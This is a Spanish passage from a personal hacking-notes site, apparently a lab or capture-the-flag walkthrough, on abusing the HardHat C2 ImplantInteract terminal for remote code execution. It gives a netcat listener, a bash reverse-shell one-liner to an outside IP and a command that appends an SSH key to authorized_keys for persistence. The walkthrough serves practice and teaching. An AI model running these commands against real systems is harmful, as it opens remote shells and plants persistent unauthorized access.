> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/hardhatc2-cms-exploitation/hardhat-c2-remote-code-execution-rce.md).
# HardHat C2 - Ejecución remota de código (RCE)
Notas de RCE de HardHat C2 para abuso del terminal ImplantInteract, validación con whoami, ejecución de shell inversa, persistencia con authorized\_keys SSH y post-explotación.
###
En `ImplantInteract`, el acceso al terminal está disponible. Ejecutando `whoami` muestra que el usuario actual es `sergej`.
Inicia un escuchador en el puerto 443 para establecer una shell inversa como `sergej`:
```bash
nc -nlvp 443
```
Ejecuta el siguiente comando para establecer la conexión inversa:
```bash
bash -c "bash -i >& /dev/tcp/10.10.14.163/443 0>&1"
```
Una vez conectado, añade la clave SSH a `authorized_keys` para facilitar la reconexión:
```bash
echo "your key" | tee -a ~/.ssh/authorized_keys
```
---
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